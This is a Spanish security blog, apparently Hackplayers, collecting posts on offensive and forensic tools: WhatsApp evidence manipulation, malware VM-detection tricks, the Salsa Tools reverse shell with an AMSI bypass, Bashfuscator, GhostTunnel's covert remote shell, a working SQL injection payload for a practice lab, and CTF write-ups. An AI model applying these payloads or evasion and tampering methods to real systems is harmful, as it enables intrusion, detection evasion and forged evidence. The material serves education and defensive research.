                           DTB : 0x319000L
                          KDBG : 0x80545ae0L
          Number of Processors : 1
     Image Type (Service Pack) : 3
                KPCR for CPU 0 : 0xffdff000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2011-06-03 04:31:36 UTC+0000
     Image local date and time : 2011-06-03 00:31:36 -0400

Ahora que tenemos el profile tendremos que especificarlo junto con la imagen y la yara o yaras a analizar. Para esto último tendremos varias opciones. La primera de ellas podría ser hacer un "merge" del conjunto de yaras disponible.

Manipulación de WhatsApp en Android (by @peritotec #hc0n2019)

El siguiente material de la h-c0n 2019 que publicamos es el de la charla de Pablo Espada Bueno, perito judicial e ingeniero informático, que también se acercó desde Cáceres a Madrid para presentarnos "Manipulación de WhatsApp en Android".

En esa charla, además de repasar los conceptos básicos de Whatsapp desde un punto de vista forense (algo que ya se ha hecho en charlas como la de Manu Guerra en Cybercamp 2017), explicó cómo utilizando un segundo teléfono (este sí que estará "rooteado") se pueden manipular los mensajes de Whatsapp sin necesidad de manipular el teléfono original, lo que hace que dicha manipulación resulte indetectable para cualquier perito.

La técnica se basa en el uso de copias de seguridad locales cifradas, que pueden ser descifradas en otro teléfono siempre que se pueda acceder a las llamadas o a los SMS utilizados como 2FA. Aprovechando esto, se extrajo la BBDD de Whatsapp en abierto en el teléfono auxiliar, pudiendo manipular los mensajes y devolviéndolos luego al teléfono original, de nuevo a través de una copia de seguridad.

Como dice Pablo esta técnica no es nada especial, ni requiere unos conocimientos exahustivos para realizarla, pero no hemos encontrado que haya sido mostrada en ningún artículo técnico, por lo que elevó aún más el interés de la charla.

Presentación:



Demo:

Paso 1

Técnicas de detección de VMs y contramedidas

Los desarrolladores de malware saben que sus artefactos va a ser irremediablemente analizados por threat hunters, forenses y demás "azulones" que intentarán destriparlos para obtener el detalle de su funcionamiento y obtener los IoCs correspondientes para contenerlos.  También saben que la mayoría serán analizados en  sandboxes con máquinas virtuales que pueden proporcionar un entorno aislado para que el malware se active, para que sus acciones puedan ser controladas e interceptadas.

Por ello los programas maliciosos de esta era detectan que se están ejecutando en una máquina virtual y actúan en consecuencia: se abstienen de inyectar código dentro de las aplicaciones, mantienen cifrado o encodeado el código malicioso, no conectan con los servidores de C&C, etc. y buena parte de sus esfuerzos se centran en utilizar técnicas más avanzadas para la detección. Por ejemplo, las últimas versiones del ransomware Locky añadían un nuevo "truco" anti-VM bastante curioso: realizaba dos llamadas a la API de Windows, GetProcessHeap () y CloseHandle () y dependiendo del tiempo de respuesta determinaba si estaba o no en una VM.

Pero veamos las técnicas más genéricas utilizadas por el malware de hoy en día para detectar el entorno virtualizado:

TÉCNICAS PARA DETECTAR ENTORNOS VIRTUALIZADOS

ARTEFACTOS DE UN ENTORNO VIRTUALIZADO

- Comprobación del registro: cada vez que generamos una nueva máquina virtual en el sistema operativo invitado hay muchas entradas en el registro relacionadas con el producto de virtualización utilizado y, como no podía ser de otra manera, el malware consulta la presencia de estas entradas. Por ejemplo en VMWare:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
VMware SCSI Controller
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName
VMware, Inc.

- Verificación de memoria: la ubicación de varias estructuras de memoria, especialmente la IDT (Interrupt Descriptor Table), varía en la máquina virtual en comparación con una máquina física.
El malware verifica el uso de varias estructuras de memoria como:

     . Almacenar tabla de descriptor de interrupciones (SIDT): en una máquina virtual, normalmente se encuentra en 0xffXXXXXX, mientras que, en una máquina física, se ubica algo más bajo que la típica alrededor de 0x80ffffff.

     . Otras estructuras que a menudo son controladas por malware son:
Store Local Descriptor Table (SLDT)
Store Global Descriptor Table (SGDT)
Store Task Register (STR)

- Verificación de procesos y archivos/directorios: por ejemplo, en todas las máquinas virtuales creadas con VMWare hay varios procesos que se siguen ejecutando en segundo plano, como VMwareService.exe, VMwareTray.exe, etc. Además, a veces VMware también instala algunas herramientas en la máquina virtual creada. También hay algunos drivers del sistema específicos para software de virtualización, que se pueden ubicar en la ruta: %windir%\system32\drivers\ con algunos nombres como: vmci.sys, vmhgfs.sys, vmmouse.sys, vmscsi.sys, vmusbmouse.sys, vmx_svga.sys, vmxnet.sys, VBoxMouse.sys. El software malicioso vigila todos los procesos y archivos para detectar el entorno VM.

Inmersión en la post-explotación tiene rima (by @CyberVaca_ #hc0n2019)

Vamos a empezar a publicar las presentaciones de las charlas de la h-c0n 2019 con la de uno de los ponentes mejor valorados durante la primera edición: Luis Vacas aka CyberVaka, compañero de batallas de nuestro grupo l1k0rd3b3ll0t4 y severo "castigador" de Güindous xD

En su charla de este año nos traía la suite Salsa Tools, un conjunto de herramientas escritas en C# que nos permitirán tener una shell reversa en cualquier entorno de Windows sin la necesidad de tener PowerShell para su ejecución. Esta suite está enfocada a tener mayor versatilidad, bypassear el antivirus y dificultar que obtengan el código.

La idea es separar el loader del payload, cifrar el payload, cargarlo en memoria y añadir métodos de transferencia. El payload siempre lo usaremos como string.

El resultado es un crypter, un payload y el loader:

- EncrypterAssembly: cifra el payload usando RC4. Tenemos la versión en python o exe.

- EvilSalsa: es el payload. Básicamente, lo que hace es cargar  System.Management.Automation.dll. Crea un espacio de ejecución con cuatro tipos de shells (TCP/UDP/ICMP/DNS). Cuando se carga EvilSalsa en el sistema, lo primero que hace es verificar si se encuentra "c:\windows\system32\amsi.dll" en el sistema, si lo está parcheado :D. El parche es una variante del parche de CyberArk y Rastamouse.

- SalseoLoader: se encarga de cargar el payload cifrado. SalseoLoader puede compilarse como una librería o como un ejecutable. En el caso de que se compile como ejecutable, solo debemos pasar el argumento que queremos ejecutar. Si lo compilamos como una librería tendremos que realizar una exportación del descriptor "main", y la forma de crear el argumento se realiza a través de la lectura de variables de entorno.

Podéis encontrar todo el software en el repo de Github: https://github.com/Hackplayers/Salsa-tools/

Os dejo la presentación y los videos de demo que usó en su charla de la h-c0n 2019:


Bashfuscator: un framework para ofuscar Bash


Bashfuscator es un framework modular y extensible escrito en Python 3 para ofuscar Bash. A través de esta herramienta dispondremos de muchas formas diferentes de hacer que los one-liners o scripts en bash sean mucho más difíciles de entender. Esto se logra generando un código Bash aleatorio y enrevesado que, en tiempo de ejecución, se evalúa en la entrada original y la ejecuta. Bashfuscator hace que la generación de comandos y scripts Bash muy confusos sea fácil, tanto desde la línea de comandos como desde una librería de Python.

El propósito de este proyecto es dar a un Red Team la capacidad de evitar las detecciones estáticas en un sistema Linux, y el conocimiento y las herramientas para escribir mejor las técnicas de ofuscación de Bash. Aunque también este framework fue desarrollado teniendo en cuenta al Blue Team, ya que puede generar fácilmente miles de comandos o comandos ofuscados únicos para ayudar a crear y probar las detecciones de la ofuscación de Bash.

Soporte de payloads

Aunque Bashfuscator funciona en sistemas UNIX, muchos de los payloads que genera no lo harán. Esto se debe a que la mayoría de los sistemas UNIX utilizan utilidades basadas en BSD, y Bashfuscator fue construido para funcionar con utilidades basadas en GNU. En el futuro, se puede agregar el soporte de payload BSD, pero por ahora los que se generan con Bashfuscator deberían funcionar en sistemas GNU Linux con Bash 4.0 o más reciente.

Requisitos de instalación

Bashfuscator requiere Python 3.6+.

En una distribución basada en Debian, ejecuta este comando para instalar las dependencias:

sudo apt-get update && sudo apt-get install python3 python3-pip python3-argcomplete xclip

En una distribución basada en RHEL, ejecuta este comando para instalar las dependencias:

sudo dnf update && sudo dnf install python3 python3-pip python3-argcomplete xclip

Luego, ejecuta estos comandos para clonar e instalar Bashfuscator:

git clone https://github.com/Bashfuscator/Bashfuscator
cd bashfuscator
python3 setup.py install --user

Solo se admiten las distribuciones basadas en Debian y RHEL. Aunque Bashfuscator ha sido probado en algunos sistemas UNIX no llega ser todavía compatible.

#hc0n2019 : Crónica de la segunda conferencia de @Hackplayers


Cuando era pequeño recuerdo que una vez mi padre me dijo que era mucho más difícil y valioso construir algo que destruirlo. Él era albañil así que usó el símil de una pared de ladrillos: reventar un muro a mazazos es mucho más fácil y rápido que tener que construirlo... y realmente es así, crear es más laborioso y debe hacerse "ladrillo a ladrillo", desde la base del suelo hacia el cielo, tan alto como quieras o te empeñes que llegue. Así nació Hackplayers hace 10 años, desde abajo del todo, empecé con un ladrillo, luego con otro, después otro tras otro y hoy todavía esa construcción sigue creciendo, un viaje en el que muchos amigos se han ido sumando poniendo también ladrillos, levantando juntos nuevos proyectos como nuestra propia conferencia: la h-c0n.

No sé cuánto tiempo resistirá en pie esta parte del muro, ni qué tan alto llegará; sólo que estoy tremendamente satisfecho de lo que hemos construido hasta ahora, un evento con una gran acogida donde todos los participantes terminan contentos (nuestro mayor logro) para convertirse en un punto de encuentro entre profesionales, estudiantes y en definitiva apasionados por un interés común: el hacking y la in-seguridad informática.

En esta nuestra segunda edición, que tuvo lugar el 8 y 9 de febrero, intentamos ser bastante continuistas con respecto a la anterior. ¿Por qué?, pues porque creemos que el año pasado salió todo muy bien y porque teníamos prácticamente la posibilidad de contar con los mismos ingredientes, lo que se traducía en una oportunidad de consolidar el Congreso y dar un pasito más. Así que el formato fue similar: mismo escenario, mismo tipo de CTF, sorteos y descuentos para los asistentes y la posibilidad de disfrutar de 12 charlas y 4 talleres de una temática amplia y diversa. Precisamente porque una de las novedades de este año fue poner en liza un "Call For Papers" para poder elegir análisis de malware, Threat intelligence, Red Team, Wireless hacking, Exploiting, Reversing, Hardware, IoT, Pentesting, Mobile, Radio, Privacidad y anonimato... casi nada.


Cazando comandos remotos de versiones viejas de PowerShell con RemotePSpy

Ya sabéis que PowerShell es muy usado por los "rojirrins" debido a su poder y flexibilidad. Y también que no sólo los comandos y los scripts se pueden ejecutar en una sesión local de PowerShell, sino que también es posible (y muy normal) ejecutar PowerShell en un host remoto. Esto puede ayudar a un atacante a moverse lateralmente y evitar dejar un script en disco.

Desde el punto de vista de los "azulones", la dificultad para detectar y responder a una sesión de PowerShell remota varía mucho según la versión de PowerShell que se esté utilizando. Las versiones más modernas incluyen funciones de logging total que pueden incluir una transcripción completa de sesiones completas de PowerShell con todas las entradas y salidas. Pero las versiones anteriores tienen un registro mucho más rudimentario que puede hacer muy difícil saber exactamente qué sucedió en una sesión determinada.

Para enfrentarnos a esta situación como "hunters" podemos usar RemotePSpy, una herramienta que puede obtener el detalle completo de lo que sucede en las sesiones remotas de PowerShell, tanto en las versiones más nuevas de PowerShell como en las más antiguas.

RemotePSpy ofrece una vista que se aproxima a lo que se mostraría en la pantalla del atacante cuando está ejecutando PowerShell en remoto. En el siguiente GIF se muestra a la izquierda la pantalla del atacante y a la derecha la vista de RemotePSpy.


Una cosa interesante acerca de las sesiones interactivas es que realmente puede ver cuando el atacante usa la pestaña completa, que usa el comando TabExpansion por debajo.

Al mismo tiempo que se muestra la pantalla de forma interactiva, todas las entradas y salidas también se registran en RemotePSpy.log de forma más detallada:


Las sesiones no interactivas funcionan de la misma manera. Un script ejecutado desde un archivo o en un ScriptBlock pasado en la línea de comandos se enviará al host remoto, donde se registra su contenido, seguido de su salida.

identYwaf: una herramienta para identificar WAFs (firewalls de aplicaciones web)

identYwaf es una herramienta de código abierto para identificar firewalls de aplicaciones web (en adelante WAFs) escrita por el mismísimo Miroslav Stampar, creador de sqlmap.

Esta herramienta es capaz de reconocer más de 70 tipos de WAFs basándose en inferencias ciegas. ¿Qué significa ésto? Bueno, pues que identYwaf tiene un conjunto de payloads predefinidos y no destructivos que provocarán una respuesta del WAF que se está probando. Esta respuesta luego se compara con las "firmas" individuales de estos firewalls que se pueden encontrar en el archivo data.json del proyecto. Estas firmas no son más que simples cadenas conocidas como "1 AND 1 = 1" con las que reaccionan estos firewalls de aplicaciones web.

¿Qué firewalls puede identificar? Pues de momento tenemos la siguiente (e impresionante) lista:
  1. 360 Web Application Firewall (360)
  2. aeSecure
  3. Airlock (Phion/Ergon)
  4. Alibaba Cloud Security Server Guard (Server Security)
  5. Anquanbao Web Application Firewall (Anquanbao)
  6. Approach Web Application Firewall (Approach)
  7. Armor Protection (Armor Defense)
  8. F5 Networks (Application Security Manager)
  9. Amazon (AWS WAF)
  10. Barracuda Networks WAF
  11. BitNinja
  12. Bluedon Web Application Firewall
  13. CdnNs/WdidcNet (CdnNsWAF)
  14. WP Cerber Security
  15. Check Point Next Generation Firewall

Aztarna: una herramienta para encontrar robots vulnerables en Internet

Alias Robotics, una startup española especializada en ciberseguridad para robótica, ha lanzado una herramienta gratuita y de código abierto para detectar robots desprotegidos, no solo conectados a Internet, sino también a los entornos industriales en los que operan.

Bautizada como "Aztarna", se trata de un framework escrito en Python 3 y básicamente es un escáner de puertos con una base de datos integrada de fingerprints de routers industriales (incluidos Westermo, Moxa, Sierra Wireless y eWON), tecnologías y componentes robóticos, así como patrones para identificar varias vulnerabilidades conocidas y errores de configuración de seguridad.


Aztarna ha sido diseñada para funcionar en diferentes escenarios de tests de intrusión. Puede escanear una lista de direcciones IP dadas, un rango de IP de red, los resultados del motor de búsqueda Shodan e incluso todo Internet junto con otras herramientas de escaneo como ZMap o masscan.

"Motivados por la falta de herramientas dedicadas para la investigación de seguridad en el campo de la robótica, hemos desarrollado Aztarna, una herramienta destinada a ayudar en la detección y exploración de robots y tecnologías de robots (incluidos los componentes de software) en una red", comentan los investigadores de Alias Robotics.

Al realizar un escaneo rápido con Aztarna, los investigadores detectaron casi 106 sistemas ROS abiertos y 9.000 routers industriales inseguros en todo el mundo, un posible punto de entrada para que los atacantes comprometan robots vulnerables conectados a la red, a los que se puede acceder de forma remota utilizando las credenciales predeterminadas o incluso sin necesidad de autenticación.

"Algunas de las instancias de ROS encontradas correspondieron a sistemas vacíos o simulaciones, pero se identificó una proporción considerable de robots reales. Incluyendo una serie de máquinas orientadas a la investigación, pero también una serie de robots en entornos industriales", dijeron los investigadores.

La mayoría de los routers vulnerables identificados (alrededor de 1.586) se encontraron en países europeos, con Francia y España liderando el ranking de routers mal configurados.

Además, Aztarna puede configurarse fácilmente para recibir más fingerprints y patrones con futuras versiones y para admitir nuevos componentes de software o hardware de robot, lo que permite a los investigadores determinar la versión de firmware específica en robots y descubrir "bibliotecas de terceros" y sus versiones, por ejemplo, la versión de robot de software intermedio, infraestructura de comunicación, etc.

Alias Robotics notificó a los propietarios de los robots sobre los robots vulnerables, pero argumentó que el lanzamiento de Aztarna es "una consecuencia natural de la falta general de preocupación entre los fabricantes de robots hacia la seguridad y la ciberseguridad".

"No es solo que son muy lentos para corregir sus fallos cuando les avisamos. A muchos simplemente no les importa y dicen: sabemos que nuestros robots tienen un conjunto de vulnerabilidades reportada, pero dejamos la seguridad en manos del usuario final", dijeron los investigadores.

Los investigadores de Alias Robotics también lanzaron un paper [PDF] con el detalle Aztarna, cómo puede usarse y cómo permitir futuras extensiones.

Fuente: https://amp.thehackernews.com/thn/2019/01/robot-cybersecurity-tool.html

sqli-platform de Geospade: otra aplicación web vulnerable para practicar SQLi

En septiembre del año pasado os hablábamos del lab del holandés Audi-1 para practicar la explotación de vulnerabilidades SQLi y hoy, por si os habíais quedado con ganas, os traemos SQLi Platform de Geospace.

Se trata de otra aplicación WEB vulnerable para comprender los conceptos básicos de las inyecciones SQL.

La parte frontal expone un campo que permite al usuario buscar en una base de datos y recuperar nombres, alias, correos... Las entradas del usuario no están saneadas, lo que permite que un atacante inyecte código SQL y exfiltre las contraseñas.

Las consultas SQL se registran en el backend y también se muestran en la parte frontal, para que el atacante comprenda mejor lo que está haciendo.


Instalación

Para mayor comodidad se puede ejecutar la aplicación bajo contenedores Docker:

docker-compose up

De igual forma, podemos editar docker-compose.yml y modificar las siguientes settings:

MYSQL_ROOT_PASSWORD: Contraseña de la base de datos
SQL_HOST: Host de la base de datos, desde el punto de vista de la API
SQL_WAIT: tiempo que la API espera (en segundos) antes de conectarse a la base de datos

La aplicación es accesible en http://localhost:8080/.

Ejemplo de inyección (spoiler):

A continuación se muestra un ejemplo de payload que funciona, exponiendo todas las contraseñas en la tabla:

nothing%" UNION SELECT pass, nickname, email FROM users#

Resultando en la siguiente consulta completa:

SELECT id, nickname, email FROM users WHERE nickname LIKE "%nothing%" UNION SELECT pass, nickname, email FROM users#%"

Proyecto: https://github.com/Geospace/sqli-platform

Writeup QUAL CTF h-c0n 2019

Como sabéis este año hemos hecho una clasificación para el CTF de la h-c0n 2019 muy peculiar en cuanto el formato respecto al año anterior. Teníamos claro que queríamos poner en liza otro reto tipo 'boot2root' pero esta vez hemos podido servir la máquina online y además poder interactuar con ella y con el juego mediante un bot en Telegram. Gracias otra vez a César, Romam y Pablo respectivamente por hacerlo posible.

Y como siempre vuestra respuesta ha sido increíble y a dos días para cerrar la clasificación o qual ya tenemos el top 20 definitivo de usuarios que pasan a la siguiente fase, es decir, el CTF organizado por iHackLabs:

https://www.h-c0n.com/p/ctf.html#scoreboardqual

Enhorabuena a los clasificados y muchas gracias a todos los que habéis participado, con especial mención a aquellos que se han quedado a las puertas de poder entrar. ¡Seguro que el año que viene lo conseguís!

Por último os dejo con uno de los writeups recibidos por el bot, en este caso el de Joan M. aka magichk:

Tenemos 4 hosts idénticos para hacer el CTF con las siguientes direcciones IP:

X.X.X.70
X.X.X.71
X.X.X.72
X.X.X.73

Pues vamos primero de todo a enumerar. Para ello nos ayudaremos de la herramienta
nmap.


Encontramos cosas interesantes como el puerto 22, 80 y el 10000 abiertos.

Hacemos pruebas con dirb en el puerto 80 pero no encontramos nada relevante más que el index. Así que vamos al puerto 10000.

Por web ya vemos un error de python como este:

Clasificación para el CTF de la h-c0n 2019 - QUALS

Parece mentira que haya pasado ya un año... en un abrir y cerrar de ojos ya estamos de nuevo con la clasificación que dará derecho a participar en el CTF que realiza iHackLabs para la h-c0n 2019.

En esta ocasión podréis enfrentaros a una máquina estilo "Boot2Root" creada por Cesar Calderón aka @stuxnet, que se deberá vulnerar para conseguir las flags de usuario (user.txt) y de root (root.txt). 

Además este año y gracias también a Romam y Pabloko hemos levantado esta máquina de forma online y el juego se gestionará a través de un canal y bot en Telegram, abajo os detallamos el funcionamiento.

¿Estáis preparados? Sólo los 20 primeros se clasificarán para la final donde podrán optar a diferentes premios. 

La clasificación permanecerá abierta desde el martes 15 de enero a las 23:00 hasta el domingo 20 de enero a las 23:00 horas.

PARA PARTICIPAR SE DEBE ENTRAR AL CANAL DE TELEGRAM https://t.me/joinchat/AAAAAErBE50ArQ28Mh04yw DONDE SE PUBLICARÁ LA IP DE LA MÁQUINA Y EL SCOREBOARD.

GhostTunnel: establece un canal de comunicación encubierto a través de frames probe request y bacon (sin establecer una conexión WiFi)

GhostTunnel de 360PegasusTeam es una herramienta que usa un método de transmisión encubierto que puede usarse en entornos aislados: puede atacar a un objetivo a través de un dispositivo HiD WiFi para lanzar el payload/agente (luego puede quitarse el dispositivo correspondiente) con la particularidad de que GhostTunnel inserta datos en los frames 802.11 Probe Request y Beacon, pero no necesita establecer ninguna conexión wifi.

En el repo de Github teneis el servidor de GhostTunnel y el agente de Windows implementado en c/c++. El agente no necesita privilegios elevados, utiliza el api WiFi nativa del sistema para enviar el 'probe request' y recibir el beacon. También se puede implementar el agente correspondiente en otras plataformas. El servidor se ejecuta en Linux, necesita una o dos tarjetas wifi USB que sean compatibles con el modo monitor y la inyección de paquetes para ejecutarlo.

Ventajas
  • Sistema encubierto
  • No provoca ninguna interferencia con el estado de conexión existente y las comunicaciones del objetivo
  • Puede evadir los firewalls
  • Puede ser utilizado para atacar redes estrictamente aisladas
  • El canal de comunicación no depende de la conexión de red existente del objetivo
  • Permitir hasta 256 clientes
  • Alcance efectivo hasta 50 metros
  • Soporte multiplataforma
  • Se puede usar para atacar cualquier dispositivo con un módulo de comunicación inalámbrico; el ataque ha sido probado en Windows 7, Windows 10 y OSX.
Uso

- El servidor solo necesita una o dos tarjetas de red inalámbricas que sean compatibles con el modo de inyección de paquetes y monitor, como TP-LINK TL-WN722N, Alfa AWUS036ACH.
 ./ghosttunnel [interface]
 ./ghosttunnel [interface1] [interface2]

 COMMANDS:
     sessions = list all clients
     use = select a client to operate, use [clientID]
     exit = exit current operation
     wget = download a file from a client, wget [filepath]
     quit = quit ghost tunnel
     help = show this usage help

- El cliente lanza el payload al sistema objetivo y lo ejecuta

Funciones implementadas
  • Permite crear una shell remota
  • Descargas de archivos: el tamaño máximo del archivo es de 10M y solo puede descargar un archivo a la vez
  • Se pueden agregar otras funciones según sea necesario
Instalación

- Requisitos

apt-get install pkg-config libnl-3-dev libnl-genl-3-dev

- Compilado

Servidor:
    cd src
    make
Cliente Windows:
    Microsoft Visual Studio 2015

Proyecto Github: https://github.com/360PegasusTeam/GhostTunnel

Explotando Smasher (HTB): ROPeando para tocar el shellcode | Parte 1

Antes de nada, desear un feliz año 2019 a todos, que sea un gran año lleno de alegrías y mucho éxito. Después de esto y después de bastante tiempo, me dispongo a escribir la solución paso a paso para poder explotar satisfactoriamente el servidor vulnerable de la máquina Smasher de HackTheBox (ya descatalogada).

Como muchos ya saben por conversaciones en los grupos de Telegram y demás, el servicio que se debe atacar era vulnerable a un buffer overflow sin exploit público, por lo tanto deberemos elaborar nuestro propio exploit para conseguir ejecutar código en la máquina objetivo.

Esta explotación tengo pensada hacerla en dos partes: esta primera sobre una metodología de explotación más especifica sobre el binario, ciñendonos a las condiciones concretas del binario que veremos a continuación, y otro método un poco más general y que se puede emplear en más situaciones como es con la fuga de direcciones de funciones de la librería dinámica glibc...

No me pararé a explicar algunos conceptos, como el de ROP, dado que ya escribí otro entrada en la que explico todo de una manera más introductoria donde explico todo lo que se va a dar por entendido en esta entrada. Esta primera parte tratará por lo tanto de explotar el servicio de una manera más concreta, por lo tanto vamos a proceder con el análisis la vulnerabilidad y como podremos explotarla desde 0.

ANÁLISIS DE LA VULNERABILIDAD

Para empezar, explotando un LFI previo para poder descargar los ficheros correspondientes al servicio, tenemos la posibilidad de descargar el código fuente del binario (a pesar de ser público en Github), lo que nos facilitará cuantiosamente el análisis del binario.

Analizando la función main() se puede observar que tras aceptar una conexión al binario, se ejecuta una función llamada process() a la que se le pasa como argumentos el descriptor de la conexión aceptada e información relativa al socket.


Una de las primeras cosas que se realizan en esta función es "parsear" la petición que nosotros estamos realizando sobre el binario, esta acción se realiza a través de la función parse_request() que toma como argumentos el descriptor mencionado anteriormente y una estructura llamada http_request de la que hablaremos a continuación.


Ahora vamos a ver que sucede con la estructura http_request ya deberemos tenerla en cuenta en el futuro, en ella se almacenará información relativa a la petición que se realice, como por ejemplo, el fichero a abrir. Lo más llamativo de esta estructura es la declaración de un array de 512 caracteres donde se almacenará el nombre del fichero que deseamos abrir del servidor.


Siguiendo el hilo de la ejecución del programa, en la función, se puede observar que ser declarán diversos arrays de tamaño MAXLINE que en el programa está definido como 1024 (longitud máxima de una linea).